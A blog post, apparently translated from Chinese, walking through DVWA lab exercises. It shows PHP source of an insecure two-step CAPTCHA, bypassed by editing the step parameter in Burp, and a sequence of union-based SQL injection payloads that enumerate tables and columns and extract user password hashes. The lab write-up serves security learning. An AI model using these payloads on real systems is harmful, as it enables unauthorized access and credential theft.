当前位置:网站首页>DVWA (5th week)
DVWA (5th week)
2022-07-06 14:04:00 【Crispy cotyledon】
Insecure verification code
View source code
<?php
// The first stage , Identity Authentication , The verification phase is step1
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
// Get the user's new password and confirm the new password
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
// The second stage , Check whether the passwords are consistent twice , And update the password
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>Divided into two steps :
step1, Verify the user's identity , The password can only be modified after successful verification ;
step2, The passwords entered twice are the same , Can be modified .
use burp Grab the bag 
take step=1 Change it to step=2 that will do .
SQL Inject
Input 1

Input 1 and 1=2

Input 1' and 1=2

To judge id Contains single quotation marks .
Input separately 1' order by 2#,1' order by 3#.
When the input 1' order by 3# An error occurred when

The field is 2
Using federated queries 1' union select 1,2# View echo

Look at the database name 1' union select 1,database()#
View table name 1' union select 1, group_concat(table_name) from information_schema,tables where table_schema=database()#
View fields 1 ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
View the data 1 ' union select group_concat(user),group_concat(password) from users #
边栏推荐
- 7-4 hash table search (PTA program design)
- Experiment 7 use of common classes (correction post)
- Strengthen basic learning records
- Hackmyvm target series (4) -vulny
- Difference and understanding between detected and non detected anomalies
- Experiment 9 input and output stream (excerpt)
- canvas基础1 - 画直线(通俗易懂)
- 7-15 h0161. 求最大公约数和最小公倍数(PTA程序设计)
- Strengthen basic learning records
- JS several ways to judge whether an object is an array
猜你喜欢

网络层—简单的arp断网

7-5 staircase upgrade (PTA program design)

网络基础详解

Poker game program - man machine confrontation

Middleware vulnerability recurrence Apache

Interpretation of iterator related "itertools" module usage

HackMyvm靶机系列(3)-visions

Xray and Burp linked Mining

Hackmyvm target series (4) -vulny

Mixlab unbounded community white paper officially released
随机推荐
7-8 7104 约瑟夫问题(PTA程序设计)
Which is more advantageous in short-term or long-term spot gold investment?
TypeScript快速入门
Hackmyvm target series (4) -vulny
Safe driving skills on ice and snow roads
The difference between overloading and rewriting
Experiment 9 input and output stream (excerpt)
记一次,修改密码逻辑漏洞实战
msf生成payload大全
Implementation of count (*) in MySQL
"Gold, silver and four" job hopping needs to be cautious. Can an article solve the interview?
7-7 7003 组合锁(PTA程序设计)
Reinforcement learning series (I): basic principles and concepts
xray与burp联动 挖掘
HackMyvm靶机系列(5)-warez
扑克牌游戏程序——人机对抗
A complete collection of papers on text recognition
Yugu p1012 spelling +p1019 word Solitaire (string)
Hackmyvm target series (7) -tron
2. First knowledge of C language (2)